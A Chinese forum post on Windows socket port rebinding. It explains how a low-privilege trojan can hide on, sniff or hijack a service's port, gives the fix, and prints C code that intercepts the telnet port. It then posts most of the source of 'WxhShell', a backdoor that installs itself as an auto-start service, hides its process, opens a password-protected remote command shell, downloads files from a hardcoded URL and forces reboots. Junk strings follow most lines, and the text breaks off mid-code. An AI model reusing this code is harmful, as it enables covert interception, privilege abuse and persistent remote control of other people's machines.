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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8{C3ijR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fvD wg  
hlRE\YO&8R  
  saddr.sin_family = AF_INET; Y{KJk'xN5W  
Ju<D7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jJ|;Nwm<[  
PO&`r r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :Lx]`dSk  
Zu,f&smb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *D,T}N  
E' Bt1 u  
  这意味着什么?意味着可以进行如下的攻击: . fIodk  
H|Ems}b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a|.u;  
)-(NL!?`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o0 Ae*Y0  
G;e}z&6<k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5j]%@]M$Z  
_bX)fnUu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &kG<LGXP#  
-Q; w4@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {-xnBx  
zF PSk ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $IHa]9 {  
i+;E uHf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :O7J9K|  
|fUSq1//  
  #include y{&,YV&_h  
  #include hXCDlCO  
  #include D)Zv  
  #include    .qZ<ROZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b|NEU-oy  
  int main() Y3[@(  
  { `JR dOe  
  WORD wVersionRequested; CVm*Q[5s"  
  DWORD ret; R`c5-0A  
  WSADATA wsaData; 4T:ZEvdzf  
  BOOL val; Sz =z TPnO  
  SOCKADDR_IN saddr; <*[(t;i  
  SOCKADDR_IN scaddr; f =Nm2(e  
  int err; MYjCxy-;A  
  SOCKET s; 0PN{ +<? .  
  SOCKET sc; 6[cMPp x  
  int caddsize; Z1Wra-g  
  HANDLE mt; CV k8MA  
  DWORD tid;   O'k"6sBb  
  wVersionRequested = MAKEWORD( 2, 2 ); b#sO1MXv  
  err = WSAStartup( wVersionRequested, &wsaData );  ZM"t.  
  if ( err != 0 ) { OHU(?TBo  
  printf("error!WSAStartup failed!\n"); >a<;)K^1  
  return -1; >(3 y(1;  
  } ;/v^@  
  saddr.sin_family = AF_INET; .FeEK(  
   u% FA.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PYZ8@G  
{0?76|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); % :NI@59  
  saddr.sin_port = htons(23); V{][{5SR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1peN@Yk2W  
  { ^dro*a,  
  printf("error!socket failed!\n"); /#tOi[0[  
  return -1; b{A#P?  
  } t4h* re+  
  val = TRUE; v"j7},P@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L(.5:&Y=`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k20tn ew  
  { G]{)yZ'}  
  printf("error!setsockopt failed!\n"); y0 xte&  
  return -1; .m .v$(  
  } ' `S,d[~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zR%#Q_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 , vWcWT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r;-\z(h  
@ Fu|et  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #(%6urd  
  { jN'zNOV~  
  ret=GetLastError(); hT<v8  
  printf("error!bind failed!\n"); j*GYYEY  
  return -1; y&UsSS  
  } 1'ZBtX~A  
  listen(s,2); d;`JDT  
  while(1) dI`b AP;\  
  { y@F{pr+dA  
  caddsize = sizeof(scaddr); hUqIjcuL4  
  //接受连接请求 5( 3tPbm{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]\{EUx9  
  if(sc!=INVALID_SOCKET) _o;alt  
  { 8IO4>CMkv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HM`;%0T0(  
  if(mt==NULL) "bJWyUb  
  { ./u3z|q1  
  printf("Thread Creat Failed!\n");  0y?bwxkc  
  break; 9Z} -%Z[,)  
  } *t63c.S  
  } Up~#]X  
  CloseHandle(mt); &U:;jlST9  
  } H d :2  
  closesocket(s); LKhUqW  
  WSACleanup(); BV|LRB}G  
  return 0; flRok?iF  
  }   gkDB8,C<j  
  DWORD WINAPI ClientThread(LPVOID lpParam) f|u!?NGl  
  { 4h-tR  
  SOCKET ss = (SOCKET)lpParam; X4gs{kx}|  
  SOCKET sc; +5voAx!  
  unsigned char buf[4096]; L:7%Wdyh  
  SOCKADDR_IN saddr; wtK+\Qnb  
  long num; NOQM:tBO>  
  DWORD val; ZjWI~"]  
  DWORD ret; Mp}U>+8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +d<o2n4!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    eGjEO&$  
  saddr.sin_family = AF_INET; fnB[b[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i6aM}p<  
  saddr.sin_port = htons(23); F.4xi+S_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !Eu}ro.}  
  { MGK%F#PM  
  printf("error!socket failed!\n"); t~3!| @3i  
  return -1; `$05+UU  
  } H>% K}Fh  
  val = 100; .^eajb`:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EW]rD  
  { U 1vZ r{\  
  ret = GetLastError(); b:2# 3;)  
  return -1; U`z=!KI+g  
  } 05Ak[OOU>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f-^JI*hj  
  { #mFIZMTRd  
  ret = GetLastError(); J.$N<.  
  return -1; RGsgT^  
  } a0~LZQ?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .r 4 *?>  
  { N:_.z~>%  
  printf("error!socket connect failed!\n"); 2)-Umq{]{  
  closesocket(sc); |cs]98FEf  
  closesocket(ss); OQ&l/|{O0?  
  return -1; <v%Q|r  
  } -V7dSi  
  while(1) z#m ~}  
  { \(C6|-:GY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~m3Q^ue  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yhc}*BMZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3s;^p,9 Y  
  num = recv(ss,buf,4096,0); s+DOr$\  
  if(num>0) n&1q*  
  send(sc,buf,num,0); wNtC5  
  else if(num==0) yvv]iRk<  
  break; O |!cPB:  
  num = recv(sc,buf,4096,0); ]jjHIFX  
  if(num>0) H}?"2jF  
  send(ss,buf,num,0); }]<0!q &xB  
  else if(num==0) 9(6f:D  
  break; xa8;"Y~"bg  
  } }p5_JXBV  
  closesocket(ss); !Ah v07SI  
  closesocket(sc); )Vd^#p  
  return 0 ; LGB}:;$AL  
  } jl9hFubwW  
TXdo,DPv7  
i]9C"Kw$L  
========================================================== 41g "7Mk  
F/V -@SF  
下边附上一个代码,,WXhSHELL Z-:T')#Cf  
@CMEmgk~  
========================================================== Q<0X80w>  
9k /L m  
#include "stdafx.h" z;DNl#|!L  
%:t! u&:q  
#include <stdio.h> F_G .$a Cc  
#include <string.h> F%P"T%|  
#include <windows.h> $7" Y/9Y  
#include <winsock2.h> gu|=uW K  
#include <winsvc.h> xqs ,4bcbY  
#include <urlmon.h> ijP `fM8  
.exBU1Yk@  
#pragma comment (lib, "Ws2_32.lib") ?zex]!R  
#pragma comment (lib, "urlmon.lib") 9fm9xTL  
0 30LT$&!  
#define MAX_USER   100 // 最大客户端连接数 .+A)^A  
#define BUF_SOCK   200 // sock buffer bFjH* ~ P  
#define KEY_BUFF   255 // 输入 buffer ,BUrZA2\U$  
;.'?(iEB  
#define REBOOT     0   // 重启 ulE5lG0c  
#define SHUTDOWN   1   // 关机  LAkBf  
bgLa`8  
#define DEF_PORT   5000 // 监听端口 pT{is.RM  
]~2iducB,  
#define REG_LEN     16   // 注册表键长度 Z#.1p'3qm1  
#define SVC_LEN     80   // NT服务名长度 !KMl'kswe:  
<rtKPlb//  
// 从dll定义API /jNvHo^B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fcxg6W'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q8_(P&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ynv{ rMl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3m= _a  
1Y87_o'd  
// wxhshell配置信息 u?" ="-^  
struct WSCFG { "MU-&**  
  int ws_port;         // 监听端口 <l(n)|H1P  
  char ws_passstr[REG_LEN]; // 口令 MA,*$BgZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ltf KqY-  
  char ws_regname[REG_LEN]; // 注册表键名 jYi,oE  
  char ws_svcname[REG_LEN]; // 服务名 1aQm r=,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $2\ 8Rn6'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G<M0KU (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hs[x\:})/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y_X jY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >MJ#|vO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c ef[T(>  
+N=HI1^54R  
}; w]t'2p-'  
pJx7S sW  
// default Wxhshell configuration g3].STz6w  
struct WSCFG wscfg={DEF_PORT, gu3iaM$W  
    "xuhuanlingzhe", Mh*r)B~%[  
    1, TKM^  
    "Wxhshell", 4^uSW&`;/  
    "Wxhshell", QuqznYSY{  
            "WxhShell Service", )O"E#%  
    "Wrsky Windows CmdShell Service", Qn7T{ BW  
    "Please Input Your Password: ", 5]>*0#C S  
  1, a;t}'GQGk  
  "http://www.wrsky.com/wxhshell.exe", 8'u9R~})   
  "Wxhshell.exe" h*%FZ}}`q  
    }; u Jqv@GFv  
`0\Z*^>  
// 消息定义模块 PFuhvw~?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x>}ml\R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "aOs#4N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RqgN<&g?  
char *msg_ws_ext="\n\rExit."; BbI%tmA7  
char *msg_ws_end="\n\rQuit."; :a6LfPEAX  
char *msg_ws_boot="\n\rReboot..."; K_;vqi^1^&  
char *msg_ws_poff="\n\rShutdown..."; tsAV46S  
char *msg_ws_down="\n\rSave to "; [ N|X  
JcWp14~e  
char *msg_ws_err="\n\rErr!"; 5X20/+aT  
char *msg_ws_ok="\n\rOK!"; HwHF8#D*l  
O;~e^ <*  
char ExeFile[MAX_PATH]; '|DW#l\n  
int nUser = 0; eJ99W=  
HANDLE handles[MAX_USER]; Up{[baWF  
int OsIsNt; .Q%Hi7JMi  
gom!dB0J  
SERVICE_STATUS       serviceStatus; (da`aRVDp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =SXdO)%2  
1ZI1+TDH  
// 函数声明 ^FKiVKI:  
int Install(void); T9 /;$6s*  
int Uninstall(void); f^FFn32u  
int DownloadFile(char *sURL, SOCKET wsh); 7pm'b,J<  
int Boot(int flag); m,lZy#02s3  
void HideProc(void); ^1najUpQ_n  
int GetOsVer(void); #7 3pryXV  
int Wxhshell(SOCKET wsl); x "{aO6M  
void TalkWithClient(void *cs); ~Jk& !IE2  
int CmdShell(SOCKET sock); -g@!\{  
int StartFromService(void); ^O18\a  
int StartWxhshell(LPSTR lpCmdLine); kJJT`Ba&/  
au{) 5W4~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5dm~yQN/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2)n`Bd  
$D1ha CL  
// 数据结构和表定义 23wztEp{a  
SERVICE_TABLE_ENTRY DispatchTable[] = qD{1X25O  
{ 1uAjy(y  
{wscfg.ws_svcname, NTServiceMain}, :j]1wp+  
{NULL, NULL} H)Btm  
}; 'OsZD?W{  
iApq!u,  
// 自我安装 fOV_ >]u  
int Install(void) lI<jYd 0fZ  
{ GGp.u@\r  
  char svExeFile[MAX_PATH]; @@AL@.*  
  HKEY key; w}ji]V}  
  strcpy(svExeFile,ExeFile); t3@+idEb  
&BRk<iwV  
// 如果是win9x系统,修改注册表设为自启动 J!2Z9<q5  
if(!OsIsNt) { /eI|m9ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k7^hc th  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *%Rmdyn  
  RegCloseKey(key); 4j#y?^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (xHmucmwp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J].Oxch&y  
  RegCloseKey(key); n93q8U6m/U  
  return 0; ?{ N,&d  
    }  k,:W]KD  
  } =Kd'(ct  
} tm+*ik=x|  
else { pey=zR!  
G?s9c0f  
// 如果是NT以上系统,安装为系统服务 o;$xN3f,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'JOUx_@z  
if (schSCManager!=0) Q;]JVT1  
{ Vu3DP+u|i  
  SC_HANDLE schService = CreateService UzxL" `^7  
  ( Xs~'M/> O  
  schSCManager, GbSCk}>  
  wscfg.ws_svcname, Fi/iA%,  
  wscfg.ws_svcdisp, }bb,Iib  
  SERVICE_ALL_ACCESS, ^%r6+ey  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J$#T_4 )  
  SERVICE_AUTO_START, &t= :xVn-M  
  SERVICE_ERROR_NORMAL, \ %Mcvb.?  
  svExeFile, w"j>^#8  
  NULL, |V a:*3u  
  NULL, ~CNB3r5R  
  NULL, @G4Z  
  NULL, |Xt.[1  
  NULL Tn&_ >R  
  ); csy6_q(  
  if (schService!=0) MTu\T  
  { 2:38CdkYp  
  CloseServiceHandle(schService); '(.5!7?Qc  
  CloseServiceHandle(schSCManager); h.edb6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e9{ii2M  
  strcat(svExeFile,wscfg.ws_svcname); $ VT)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |'h (S|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L/i'6(="  
  RegCloseKey(key); z@,pT"rb  
  return 0; 1SExl U  
    } 7kLu rv  
  } #_DpiiS,.Q  
  CloseServiceHandle(schSCManager); Nx 42k|8  
} U#z"t&o=L  
} 0t7N yKU  
~<[+!&<U  
return 1; =-r"@2HBq  
} if*V-$[I  
I~&*^q6 |  
// 自我卸载 2P"643tz  
int Uninstall(void) s<!A< +Sh  
{ JWNN5#=fQ  
  HKEY key; W Z'<iI  
Jh-yIk  
if(!OsIsNt) { E=I'$*C \D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }>{R<[I!G  
  RegDeleteValue(key,wscfg.ws_regname); w){B$X  
  RegCloseKey(key); xrf|c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LeCc`x,5  
  RegDeleteValue(key,wscfg.ws_regname); rS [4Pey  
  RegCloseKey(key); Y/sav;  
  return 0; 'gY?=,dF>  
  } "Hw%@]#  
} :Qa*-)rs  
} MSCH6R"5  
else { j,OA>{-$  
d]E=w6 +;Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9K$ x2U  
if (schSCManager!=0) zqA>eDx  
{ sl$6Zv-l%0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^(q .f=I!a  
  if (schService!=0) R>bg3j  
  { mnA_$W3~I  
  if(DeleteService(schService)!=0) { Bl+\|[yd  
  CloseServiceHandle(schService); uuM1_nD[  
  CloseServiceHandle(schSCManager); y3efie {J  
  return 0; OLx;j+p  
  } QBa+xI_ J  
  CloseServiceHandle(schService); *$9U/  d  
  } #6M |T+ =  
  CloseServiceHandle(schSCManager); 5Ew( 0K[  
} 6 wN*d 5  
} ^]o H}lwO  
n/v.U,f&l@  
return 1; cxR.:LD}  
} .rBU"Rbo  
0Z2XVq~T$  
// 从指定url下载文件 ep8UWxB5  
int DownloadFile(char *sURL, SOCKET wsh) |sGJum&=  
{ ,a>Dv@$Y  
  HRESULT hr; iQO4IT   
char seps[]= "/"; "~VKUvDu  
char *token; T={!/y+  
char *file; Tgpu9V6  
char myURL[MAX_PATH]; >~,~X9   
char myFILE[MAX_PATH]; AJ\gDjj<  
Y2VfJ}%Q  
strcpy(myURL,sURL); Tf#Op v)  
  token=strtok(myURL,seps); ./I?|ih  
  while(token!=NULL) -7!L]BcZ.  
  { )xVf3l pQ  
    file=token; lW"0fZ_x'E  
  token=strtok(NULL,seps); yV`Tw"p  
  } Tv#d>ZSD  
ZY<R Nwu  
GetCurrentDirectory(MAX_PATH,myFILE); 6?x F!VIL  
strcat(myFILE, "\\");  L]l/w  
strcat(myFILE, file); |dxWO  
  send(wsh,myFILE,strlen(myFILE),0); k9eyl)  
send(wsh,"...",3,0); ?$`kT..j,u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Q!%16 P  
  if(hr==S_OK) /[?} LrDO  
return 0; 2=?3MXcjy  
else fln[Q2zl  
return 1; w7` pbcY,  
S0StC$$1  
} Ab[o~X"  
b"\lF1Nf&o  
// 系统电源模块 6Gg`ExcT5  
int Boot(int flag) 1Xi>&;],  
{ sSh." H  
  HANDLE hToken; i=/hLE8T*  
  TOKEN_PRIVILEGES tkp; ^zTe9:hz/\  
@(c^u;  
  if(OsIsNt) { 8 AW}7.<5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v#gXXO[P1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B.=n U  
    tkp.PrivilegeCount = 1; (1cB Tf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gdCit-3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~0+<-T  
if(flag==REBOOT) { &IXmy-w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7#wB  
  return 0; yT:2*sZRc  
} [f:&aS+  
else { ~rb]u Ny-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qq6'[Od  
  return 0; dG+$!*6Z  
} bLS10^g5  
  } q0q-Coh>  
  else { ?Sh"%x  
if(flag==REBOOT) { )o:sDj`b]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8N)Lck2PR  
  return 0; Cgln@Rz  
} K. B\F)K  
else { dfAw\7v/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l1kHFeq  
  return 0; v6G1y[Wl  
} 0,-]O=   
} w;Azxcw  
%AJ9fs4/  
return 1; V5-!w0{  
} %h(%M'm?  
MtwlZg`c3  
// win9x进程隐藏模块 :@5{*o  
void HideProc(void) =^p}JhQ  
{ 9BP'[SM%),  
gJp6ReZ#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O`Qke Z}  
  if ( hKernel != NULL ) T*@o?U  
  { 02J(*_o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _R|_1xa=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wgs6}1b g  
    FreeLibrary(hKernel); sMAj?]hI$  
  } Q7e4MKy7  
 6p@[U>`  
return; nCwA8AG  
} =c 9nC;C  
>o13?-S%e  
// 获取操作系统版本 ELV~ ayp5  
int GetOsVer(void) wZ0bD&B  
{ YJ6:O{AL1  
  OSVERSIONINFO winfo; w:nH_x#C4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U]+IP;YS  
  GetVersionEx(&winfo); L8n?F#q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oMemF3M  
  return 1; UhDf6A`]  
  else l?IeZisX  
  return 0; 94O\M RQ*  
} e wT K2  
O Lt0Q.{  
// 客户端句柄模块 @f"[*7Q`/  
int Wxhshell(SOCKET wsl) FO(QsR=\s  
{ -rYb{<;ST  
  SOCKET wsh; L<oQKe7Q:  
  struct sockaddr_in client; T~$Eh6 D  
  DWORD myID; _'Jjt9@S  
(Z @dz  
  while(nUser<MAX_USER) )H]L/n  
{ i._RMl5zg  
  int nSize=sizeof(client); Fs~*-R$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8ZbXGQ  
  if(wsh==INVALID_SOCKET) return 1; 1!V[fPJ  
\15'~ ]d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g]JJ!$*1  
if(handles[nUser]==0) 4".I*ij  
  closesocket(wsh); r [^.\&-  
else ._>03,"  
  nUser++; \VEnP=*:W  
  } |AE{rvP{@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @D*PO-s9  
ud(0}[  
  return 0; pam9wfP  
}  |15!D  
iku*\,6W  
// 关闭 socket Gjq7@F'  
void CloseIt(SOCKET wsh) 2o9B >f&g  
{ SJX9oVJeZ  
closesocket(wsh); `-CN\  
nUser--; 4a& 8G  
ExitThread(0); eD(5+bm  
} <z%**gP~G  
{[:C_Up)f  
// 客户端请求句柄 r aOuD3  
void TalkWithClient(void *cs) N LQ".mM+  
{ f U=P$s  
:zo5`[P  
  SOCKET wsh=(SOCKET)cs; 1yz%ud-l  
  char pwd[SVC_LEN]; V:j^!*  
  char cmd[KEY_BUFF]; .czUJyFms}  
char chr[1]; 2<OU)rVE4  
int i,j; -z. wAp  
l=" X|t   
  while (nUser < MAX_USER) { dHiir&Rd9`  
4x-,l1NMR  
if(wscfg.ws_passstr) { GPGP teC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H-&27?s^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T<>B5G~%  
  //ZeroMemory(pwd,KEY_BUFF); ]!!?gnPd5  
      i=0; 4Zu1G#(zP  
  while(i<SVC_LEN) { E0VAhN3G\  
u59l)8=  
  // 设置超时 {R63n  
  fd_set FdRead; 8<0P Ssx  
  struct timeval TimeOut; P 0+@,kM  
  FD_ZERO(&FdRead); <]%6x[  
  FD_SET(wsh,&FdRead); WY>$.e  
  TimeOut.tv_sec=8; Z2g<"M  
  TimeOut.tv_usec=0; "3]}V=L<5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kmTYRl )j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i)(G0/:  
V.$tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?5ZvvAi  
  pwd=chr[0]; &0[ L2x}7  
  if(chr[0]==0xd || chr[0]==0xa) { Opf)TAl{  
  pwd=0; ~a3u['B  
  break; w(`g)`  
  } /d6Rd l`w  
  i++; *XWu)>*o  
    } <X{w^ cT_Q  
#m UQ@X@K  
  // 如果是非法用户,关闭 socket C4PT(cezR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #6#n4`%ER  
} @+zWLq!1pB  
W //+[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hTO 2+F*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Va.TUz4  
Md>C!c  
while(1) { MUZ]*n&0  
>Ho=L)u  
  ZeroMemory(cmd,KEY_BUFF); RuVk>(?WK%  
"8ZV%%elp  
      // 自动支持客户端 telnet标准   [~|k;\2 +  
  j=0; `_GCS,/t  
  while(j<KEY_BUFF) { ZRc^}5}WA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rxol7"2l  
  cmd[j]=chr[0]; ??B!UXi4R  
  if(chr[0]==0xa || chr[0]==0xd) { XW8@c2jN\7  
  cmd[j]=0; |Fze9kZO  
  break; 3}phg  
  } ns5Dydo{T  
  j++; 19(x$=:  
    } >*O5Ry:4  
d)biMI}<5  
  // 下载文件 rq7yNt  
  if(strstr(cmd,"http://")) { 3k>#z%//  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qHe H/e%`V  
  if(DownloadFile(cmd,wsh)) '^WR5P<8c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (t5y$b c  
  else }yrs6pQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &I)tI^P}  
  } 8r[TM  
  else { PCgr`($U  
h"8[1 ;  
    switch(cmd[0]) { {W{;VJKQ2  
  ,%x2SyA  
  // 帮助 G6>sAOf  
  case '?': { 6A5.n?B{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A_ &IK;-go  
    break; %YF /=l  
  } s/J7z$NEU  
  // 安装 $1d{R;b[  
  case 'i': { tAep_GR  
    if(Install()) Cb<7?),vK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); or;VmU8$zb  
    else 3j$, L(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hmLI9TUe6  
    break; Kc^ctAk7;  
    } a9^})By&  
  // 卸载 Yyd}>+|<,  
  case 'r': { v_%6Ly  
    if(Uninstall()) ("}Hs[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^fd*KM  
    else Ho/tCU|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O\;Lb[`lb  
    break; 3HP { a  
    } _a"| :kX  
  // 显示 wxhshell 所在路径 rDwd!Jet  
  case 'p': { [{xY3WS  
    char svExeFile[MAX_PATH]; 6.45^'t]  
    strcpy(svExeFile,"\n\r"); <=%[.. (S  
      strcat(svExeFile,ExeFile); uw8g%  
        send(wsh,svExeFile,strlen(svExeFile),0); pcOi%D,o  
    break; AriV4 +  
    } Citumc)E  
  // 重启 $X.F=Kv  
  case 'b': { ?XyrG1('  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }lPWA/  
    if(Boot(REBOOT)) ] X]!xvN@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&59c*K  
    else { Z \ @9*  
    closesocket(wsh); zSsBbu:  
    ExitThread(0); LR#.xFQ+  
    } =M@)q y  
    break; \J?&XaO=  
    } ^hEN  
  // 关机 6OC4?#96%'  
